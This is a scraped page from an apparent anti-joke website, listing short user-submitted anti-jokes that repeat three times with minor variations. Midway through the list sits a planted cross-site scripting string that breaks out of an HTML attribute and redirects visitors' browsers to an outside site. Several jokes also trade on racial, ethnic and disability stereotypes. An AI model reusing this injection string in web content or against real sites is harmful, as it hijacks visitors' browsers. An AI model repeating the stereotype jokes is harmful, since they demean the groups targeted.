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A: Rock! B:Paper! C: Siccorz! D: Shoot! D: Jimmy, you alright buddy? I didn't mean for that bullet to hit you man..

Why couldn't Helen Keller drive? She technically could have, she was physically able, but cars were not invented yet, and even if they were it is unethical for any humane person to let a blind and def person drive.

Whats Brown, Long and is on every black man? Legs

Me: "If I had Alzheimers, I would break down into tears." Friend: "Why, you would forget why you were crying..." Me: "Who are you again?"

there was a tv sitting on the side of the road.. person 1: hey why doesn't that tv work? person 2: because it's broken?? person 1: no..because its not plugged in!

Knock Knock Who's there? Gilbert Gilbert who? Goddamn it David just open the door

Ever heard of carpel tunnel? Well after that girl it was more like carpal toungal

once upon a time jess was happy this once upon a time was a very long time ago, BABADOOK !

What did the prosecuting attorney say to the defense attorney? I hate you.

Why did two rhinos engage in vigorous sex? They were horny.

Why did Sally fall off the swing? Why? Because she has no arms. Knock. Knock. Who's there? Not Sally

Q: what do you call the green and the (stone eater) animal? A:the green and the (stone eater) animal

What's the difference between a good anti joke, and a bad anti joke? There literally is no good anti joke.

Why don't you make like a tree, and get out of here.

If you had 4 oranges in one hand and 7 oranges in the other, what would you have? Really big hands.

Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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Why can't Stevie Wonder read? Clearly the only answer is because he's blind

Why can't you fit 100 oranges in a bathtub? Because motorcycles don't have doors

What is the difference between a pizza and a Jew?

Your mums so tall, she's above the average height of women for her age.

What happens if you don't stop, drop, and roll? Astigmatism.

Why did the chicken cross the road. ... It didn't.

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An Irishman walks into a bar. He died of alcohol poisoning that day

My ex wife looks like a pitbull.

A: Rock! B:Paper! C: Siccorz! D: Shoot! D: Jimmy, you alright buddy? I didn't mean for that bullet to hit you man..

Why couldn't Helen Keller drive? She technically could have, she was physically able, but cars were not invented yet, and even if they were it is unethical for any humane person to let a blind and def person drive.

Whats Brown, Long and is on every black man? Legs

Me: "If I had Alzheimers, I would break down into tears." Friend: "Why, you would forget why you were crying..." Me: "Who are you again?"

there was a tv sitting on the side of the road.. person 1: hey why doesn't that tv work? person 2: because it's broken?? person 1: no..because its not plugged in!

Knock Knock Who's there? Gilbert Gilbert who? Goddamn it David just open the door

Ever heard of carpel tunnel? Well after that girl it was more like carpal toungal

once upon a time jess was happy this once upon a time was a very long time ago, BABADOOK !

What did the prosecuting attorney say to the defense attorney? I hate you.

Why did two rhinos engage in vigorous sex? They were horny.

Why did Sally fall off the swing? Why? Because she has no arms. Knock. Knock. Who's there? Not Sally

Q: what do you call the green and the (stone eater) animal? A:the green and the (stone eater) animal

What's the difference between a good anti joke, and a bad anti joke? There literally is no good anti joke.

Why don't you make like a tree, and get out of here.

If you had 4 oranges in one hand and 7 oranges in the other, what would you have? Really big hands.

Anti Joke

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Why can't Stevie Wonder read? Clearly the only answer is because he's blind

Why can't you fit 100 oranges in a bathtub? Because motorcycles don't have doors

What is the difference between a pizza and a Jew?

Your mums so tall, she's above the average height of women for her age.

What happens if you don't stop, drop, and roll? Astigmatism.

Why did the chicken cross the road. ... It didn't.

"'>document.location.href="http://cramik.org"

An Irishman walks into a bar. He died of alcohol poisoning that day

My ex wife looks like a pitbull.

A: Rock! B:Paper! C: Siccorz! D: Shoot! D: Jimmy, you alright buddy? I didn't mean for that bullet to hit you man..

Why couldn't Helen Keller drive? She technically could have, she was physically able, but cars were not invented yet, and even if they were it is unethical for any humane person to let a blind and def person drive.

Whats Brown, Long and is on every black man? Legs

Me: "If I had Alzheimers, I would break down into tears." Friend: "Why, you would forget why you were crying..." Me: "Who are you again?"

*there was a tv sitting on the side of the road..* person 1: hey why doesn't that tv work? person 2: because it's broken?? person 1: no..because its not plugged in!

Knock Knock Who's there? Gilbert Gilbert who? Goddamn it David just open the door

Ever heard of carpel tunnel? Well after that girl it was more like carpal toungal

once upon a time jess was happy this once upon a time was a very long time ago, BABADOOK !

What did the prosecuting attorney say to the defense attorney? I hate you.

Why did two rhinos engage in vigorous sex? They were horny.

Why did Sally fall off the swing? Why? Because she has no arms. Knock. Knock. Who's there? Not Sally

Q: what do you call the green and the (stone eater) animal? A:the green and the (stone eater) animal

What's the difference between a good anti joke, and a bad anti joke? There literally is no good anti joke.

Why don't you make like a tree, and get out of here.

If you had 4 oranges in one hand and 7 oranges in the other, what would you have? Really big hands.

Anti Joke

Our Updated iOS App!

The Anti Joke Book

MOAR??

there was a tv sitting on the side of the road.. person 1: hey why doesn't that tv work? person 2: because it's broken?? person 1: no..because its not plugged in!